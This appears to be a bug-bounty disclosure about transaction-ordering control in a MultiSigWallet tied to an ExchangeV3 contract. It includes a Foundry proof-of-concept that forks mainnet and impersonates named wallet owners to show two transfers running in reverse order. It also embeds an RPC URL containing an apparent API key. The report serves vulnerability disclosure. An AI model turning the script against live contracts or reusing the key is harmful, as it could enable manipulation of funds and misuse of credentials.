Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
The execution of MultiSigWallet is parallel, and as long as the number of confirmations meets the requirements, the transaction can be executed directly. In other words, the last confirmer can control the execution order of all transactions.
This is the 1st, 2nd, and 3rd transaction executed on the mainnet:
As you can see, their execution order is opposite to the submission order. It all depends on the confirmation order of the last confirmer (0xC715b8501039d3514787dC55BC09f89c293351e9).
Impact
The impact depends on the actual transaction content and the current impact is potential. But since MultiSigWallet is a high-privilege address, I think it is a Medium level.
Risk Breakdown
Difficulty to Exploit: Hard
Recommendation
Each transaction sets a pre-transaction, and the transaction can only be executed after the pre-transaction is completed.
References
Proof of concept
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
// main fork url
string constant MAINNET_RPC_URL = "https://eth-mainnet.g.alchemy.com/v2/TrnSBL14bW3BaXavojgbw69L0ZK2lbZ_";
uint256 constant MAINNET_BLOCK_NUMBER = 18614000;
// contract address
address constant ADDRESS_CONTRACT_ExchangeV3 = address(0x9C07A72177c5A05410cA338823e790876E79D73B);
address constant ADDRESS_CONTRACT_MultiSigWallet = address(0x2028834B2c0A36A918c10937EeA71BE4f932da52);
address constant ADDRESS_CONTRACT_WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
// user address
address constant ADDRESS_USER_Attacker = address(0xAACE);
address constant ADDRESS_USER_USER1 = address(0xACC1);
address constant ADDRESS_USER_USER2 = address(0xACC2);
address constant ADDRESS_USER_ExchangeV3Owner = address(0x9b93e47b7F61ad1358Bd47Cd01206708E85AE5eD);
address constant ADDRESS_USER_MultiSigWalletOwner1 = address(0xf5020ADf433645c451A4809eac0d6F680709f11B);
address constant ADDRESS_USER_MultiSigWalletOwner2 = address(0xeD530f3b8675B0a576DaAe64C004676c65368DfD);
address constant ADDRESS_USER_MultiSigWalletOwner3 = address(0xB7093FC2d926ADdE48122B70991fe68374879adf);
address constant ADDRESS_USER_MultiSigWalletOwner4 = address(0xC715b8501039d3514787dC55BC09f89c293351e9);
address constant ADDRESS_USER_MultiSigWalletOwner5 = address(0x6EF4e54E049A5FffB629063D3a9ee38ac27551C8);
address constant ADDRESS_USER_MultiSigWalletOwner6 = address(0x3Cd51A933b0803DDCcDF985A7c71C1C7357FE9Eb);
interface IExchangeV3 {
function registerToken(address tokenAddress) external returns (uint32);
}
interface IMultiSigWallet {
function removeOwner(address owner) external;
function submitTransaction(address destination, uint value, bytes memory data) external returns (uint transactionId);
function confirmTransaction(uint transactionId) external;
function getOwners() external view returns (address[] memory owners);
}
contract YttriumzzDemo is Test {
IExchangeV3 exchangeV3;
IMultiSigWallet multiSigWallet;
function setUp() public {
vm.selectFork(vm.createFork(MAINNET_RPC_URL, MAINNET_BLOCK_NUMBER));
exchangeV3 = IExchangeV3(ADDRESS_CONTRACT_ExchangeV3);
multiSigWallet = IMultiSigWallet(ADDRESS_CONTRACT_MultiSigWallet);
// as gas fee
vm.deal(ADDRESS_USER_Attacker, 1 ether);
// vm.deal(ADDRESS_USER_USER1, 1 ether);
// vm.deal(ADDRESS_USER_USER2, 1 ether);
vm.deal(ADDRESS_USER_ExchangeV3Owner, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner1, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner2, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner3, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner4, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner5, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner6, 1 ether);
}
function testYttriumzz0002() public {
// The POC assumes the following scenario to reveal the impact of execution order:
// Execute1 transfer 0.5ETH to User1
// Execute2 to transfer the remaining wallet to User2
// Expect User1 and User2 to receive 0.5 ETH each
vm.deal(ADDRESS_CONTRACT_MultiSigWallet, 1 ether);
// Execute1
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner1);
uint transaction1Id = multiSigWallet.submitTransaction(ADDRESS_USER_USER1, 0.5 ether, "");
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner2);
multiSigWallet.confirmTransaction(transaction1Id);
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner3);
multiSigWallet.confirmTransaction(transaction1Id);
vm.stopPrank();
// Execute2
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner1);
uint transaction2Id = multiSigWallet.submitTransaction(ADDRESS_USER_USER2, address(multiSigWallet).balance, "");
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner2);
multiSigWallet.confirmTransaction(transaction2Id);
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner3);
multiSigWallet.confirmTransaction(transaction2Id);
vm.stopPrank();
// The Owner4 control the execution order
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner4);
multiSigWallet.confirmTransaction(transaction2Id);
multiSigWallet.confirmTransaction(transaction1Id);
vm.stopPrank();
// Result
console.log("User1 balace: %s", ADDRESS_USER_USER1.balance);
console.log("User2 balace: %s", ADDRESS_USER_USER2.balance);
}
}